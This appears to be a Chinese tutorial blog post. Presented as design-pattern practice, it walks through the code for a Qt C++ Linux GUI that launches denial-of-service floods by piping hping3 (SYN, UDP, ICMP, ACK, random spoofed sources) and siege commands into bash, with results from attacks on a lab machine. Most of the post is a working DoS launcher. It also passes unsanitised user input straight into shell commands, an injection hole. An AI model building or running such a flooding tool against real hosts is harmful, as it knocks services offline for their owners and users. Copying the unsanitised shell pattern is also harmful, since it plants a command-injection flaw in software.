需求分析
1. 主要是为了实践一下设计模式(采用简单工厂)
2. 集合hping3和siege工具进行Dos攻击(通过QProcess调用bash)
3. 具有良好的可扩展性
4. Liunx系统
代码实现
1. 接口实现
Dos_api抽象接口实现
1. 我们是通过QProcess调用bash,利用bash执行dos命令
2. 接口就需要一个攻击接口和一个返回QProcess的接口(用来信号槽关联)
class Dos_api : public QObject
{
Q_OBJECT
public:
virtual QString attack_port(QString msg) = 0; //攻击端口接口
virtual QProcess* return_process() = 0;
protected:
Dos_api(){}
};
两个子类的实现
1. 通过继承Dos_api类详细实现子类
2. 这部可以后面做完界面后在实现
3. 这部分子类的实现用到了单例模式中的饿汉
hping3_dos类
class Hping3_dos : public Dos_api
{
Q_OBJECT
public:
Hping3_dos();
static Dos_api*getinstance()
{
if(instance == nullptr)
{
instance = new Hping3_dos;
}
return instance;
}
QProcess* return_process()
{
return process;
}
QString attack_port(QString msg);
private:
static Hping3_dos* instance;
QProcess * process;
};
Hping3_dos *Hping3_dos::instance = new Hping3_dos;
Hping3_dos::Hping3_dos()
{
process = new QProcess(this);
}
QString Hping3_dos::attack_port(QString msg)
{
QStringList list = msg.split("/");
QString ip = list[0];
QString port= list[1];
QString attack_method= list[2];
int num= list[3].toInt();
//qDebug()<<ip<<port<<attack_method<<num;
//-----------------------------------------------
if(!process->isOpen())
{
process->start("bash");
}
QString type;
if(attack_method == "0")
{
type = "-A";
}
else if(attack_method == "1")
{
type = "--udp";
}
else if(attack_method == "2")
{
type = "-S";
}
else if(attack_method == "3")
{
type = "--icmp";
}
else
{
type = "";
}
QString myorder = QString("hping3 %1 -p %2 %3 -c %4 --faster -q --rand-source \n").arg(ip).arg(port).arg(type).arg(num);
process->write(myorder.toStdString().c_str());
return "success";
}
siege_dos类
class siege_dos : public Dos_api
{
Q_OBJECT
public:
siege_dos();
static Dos_api*getinstance()
{
if(instance == nullptr)
{
instance = new siege_dos;
}
return instance;
}
QProcess* return_process()
{
return process;
}
QString attack_port(QString msg);
private:
static siege_dos* instance;
QProcess * process;
};
siege_dos *siege_dos::instance = new siege_dos;
siege_dos::siege_dos()
{
process = new QProcess(this);
}
QString siege_dos::attack_port(QString msg)
{
QStringList list = msg.split("/");
QString usernum = list[0];
QString attacktime = list[1];
QString ip = list[2];
if(!process->isOpen())
{
process->start("bash");
}
QString myorder = QString("siege -c %1 -t %2s %3 \n").arg(usernum).arg(attacktime).arg(ip);
//qDebug()<<myorder;
process->write(myorder.toStdString().c_str());
return "success";
}
工厂实现
1. 我是用了简单工厂,
2. 但实际上我觉得如果后面扩展的Dos工具多了就应该用IOC容器
factory类
class factory : public QObject
{
Q_OBJECT
public:
static Dos_api* return_dos(int type);
private:
};
Dos_api *factory::return_dos(int type)
{
switch(type)
{
case 1:
{
return Hping3_dos::getinstance();
break;
}
case 2:
{
return siege_dos::getinstance();
break;
}
default:
{
return nullptr;
break;
}
}
}
界面设计
1. hping3需要的参数输入
2. siege需要的参数输入
3. 结果所需要的呈现
4. 直接用了MainWindow类
功能实现
1. 关闭QProcess功能
2. hping3攻击功能
3. siege攻击功能
4. 结果展示功能
5. 2.3.4都是对界面的信息的包装发送给子类
- 关闭QProcess功能
void MainWindow::on_pushButton_stop_clicked()
{
if(m_dos_api != nullptr)
{
if(m_dos_api->return_process()->isOpen())
{
qDebug()<<"ok";
m_dos_api->return_process()->close();
}
}
}
- hping3攻击功能
void MainWindow::on_pushButton_hping3_clicked()
{
ui->textEdit->clear();
ui->tableWidget->clear();
ui->tableWidget->clearContents();
//
QString ip = ui->lineEdit_ip->text();
QString port = ui->lineEdit_port->text();
QString method;
for(int i = 0;i<check_box_list.size();i++)
{
if(check_box_list[i]->isChecked())
{
method = QString::number(i);
}
}
int num = ui->spinBox->value();
QString msg = QString("%1/%2/%3/%4").arg(ip).arg(port).arg(method).arg(QString::number(num));
//qDebug()<<msg;
//
m_dos_api = m_factory->return_dos(1);
m_dos_api->attack_port(msg);
}
- siege攻击功能
void MainWindow::on_pushButton_siege_clicked()
{
ui->textEdit->clear();
ui->tableWidget->clear();
ui->tableWidget->clearContents();
QString msg = QString("%1/%2/%3")
.arg(ui->spinBox_user_num->value())
.arg(ui->spinBox_attack_time->value())
.arg(ui->lineEdit_ip->text());
//qDebug()<<msg;
m_dos_api = m_factory->return_dos(2);
m_dos_api->attack_port(msg);
ui->tableWidget->setColumnCount(2);
ui->tableWidget->setRowCount(15);
}
- 结果呈现功能
void MainWindow::deal_process_msg()
{
if(m_dos_api!=nullptr)
{
QString msg = m_dos_api->return_process()->readAll();
ui->textEdit->insertPlainText(msg);
//qDebug()<<msg;
msg.replace("\t"," ");
msg.replace("{"," ");
msg.replace("}"," ");
QStringList list = msg.split("\n");
for(int i = 0;i<list.size();i++)
{
QStringList alist = list[i].split(":");
for(int j = 0;j<alist.size();j++)
{
ui->tableWidget->setItem(i,j,new QTableWidgetItem(alist[j]));
}
}
}
}
这里需要关联信号槽
这部分可以看出来,如果我要新增一个t50工具类,我就要修改2为3,这一点都不舒服。
如果用IOC容器的话,就不需要去做这些修改。
同时也很方便做子类和界面类的信号槽关联(这个没做)
//
for(int i = 1;i<=2;i++)
{
m_dos_api = m_factory->return_dos(i);
connect(m_dos_api->return_process(),SIGNAL(readyRead()),this,SLOT(deal_process_msg()));
//qDebug()<<"ok";
}
结果展示
启动程序
利用管理员权限运行程序
因为使用hping3需要管理员权限
开启靶机的80端口(简单利用了phpstudy)
hping3功能检验
攻击靶机192.168.176.132
查看靶机
可以看出来靶机网络的明显波动峰值为0.5%
因为用的是ack包,所以有点低
siege功能检验
攻击靶机192.168.176.132
查看靶机
网络波动峰值高达12.50%
总结
1. 使用了简单工厂的设计模式
2. 熟悉了面向接口编程
3. 设计模式对程序的巨大帮助(容易维护,方便扩展)
4. 重新熟悉了Dos的攻击命令
5. 了解了QProcess的用法(多进程)
6. liunx上的qtC++编程是真方便,都不用自己写配置文件